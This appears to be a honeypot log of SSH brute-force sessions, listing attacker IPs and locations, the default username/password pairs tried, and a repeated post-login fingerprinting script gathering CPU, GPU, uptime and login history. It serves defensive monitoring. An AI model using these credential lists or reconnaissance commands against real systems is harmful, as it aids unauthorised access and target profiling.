$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 stroopwafel_root_12 (34.91.124.117) β€” Groningen, Netherlands Β· 1 session Β· 4 cmds
2026-03-01 19:54 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 stein_root_13 (46.101.141.205) β€” Frankfurt am Main, Germany Β· 9 sessions Β· 36 cmds
2026-03-01 19:07 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 pretzel_root_21 (64.226.101.25) β€” Frankfurt am Main, Germany Β· 8 sessions Β· 32 cmds
2026-03-01 19:07 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 scone_root_3 (143.110.160.208) β€” Slough, United Kingdom Β· 9 sessions Β· 36 cmds
2026-03-01 18:35 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 liberty_root_20 (206.189.187.166) β€” North Bergen, United States Β· 8 sessions Β· 32 cmds
2026-03-01 19:20 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 eagle_root_26 (68.183.101.140) β€” North Bergen, United States Β· 6 sessions Β· 24 cmds
2026-03-01 19:10 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 liberty_root_21 (134.199.205.57) β€” Douglasville, United States Β· 6 sessions Β· 24 cmds
2026-03-01 19:11 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 samba_sol (131.72.152.46) β€” Alto ParaΓ­so, Brazil Β· 2 sessions Β· 2 cmds
2026-03-01 18:42 EST Β· as pi/pi, pi/raspberry
Ran uname 2x across 2 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 liberty_root_6 (161.35.14.113) β€” North Bergen, United States Β· 9 sessions Β· 36 cmds
2026-03-01 18:13 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—9
🎭 lotus_root_3 (159.65.155.223) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-03-01 18:33 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 tea_root_15 (161.35.166.159) β€” Slough, United Kingdom Β· 2 sessions Β· 8 cmds
2026-03-01 18:29 EST Β· as root/1234, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 star_root_7 (134.199.201.172) β€” Douglasville, United States Β· 8 sessions Β· 32 cmds
2026-03-01 18:16 EST Β· as deploy/deploy, guest/guest, mysql/mysql
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 star_root_26 (159.203.114.87) β€” Clifton, United States Β· 3 sessions Β· 12 cmds
2026-03-01 18:14 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 eagle_root_27 (165.245.135.205) β€” Douglasville, United States Β· 5 sessions Β· 20 cmds
2026-03-01 17:49 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 outback_root_7 (134.199.171.154) β€” Sydney, Australia Β· 1 session Β· 4 cmds
2026-03-01 17:50 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 yankee_root_21 (137.184.1.239) β€” Santa Clara, United States Β· 5 sessions Β· 20 cmds
2026-03-01 17:21 EST Β· as deploy/deploy, oracle/oracle, postgres/postgres
export β†’ uname β†’ cat (repeated export 5x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—5
$ uname -s -v -n -m 2 > /dev/null Γ—5
$ uname -m 2 > /dev/null Γ—5
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—5
🎭 liberty_root_22 (167.99.14.233) β€” North Bergen, United States Β· 6 sessions Β· 24 cmds
2026-03-01 17:16 EST Β· as deploy/deploy, oracle/oracle, postgres/postgres
export β†’ uname β†’ cat (repeated export 6x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—6
$ uname -s -v -n -m 2 > /dev/null Γ—6
$ uname -m 2 > /dev/null Γ—6
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 bike_root_16 (64.227.67.200) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-03-01 17:13 EST Β· as admin/123456
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
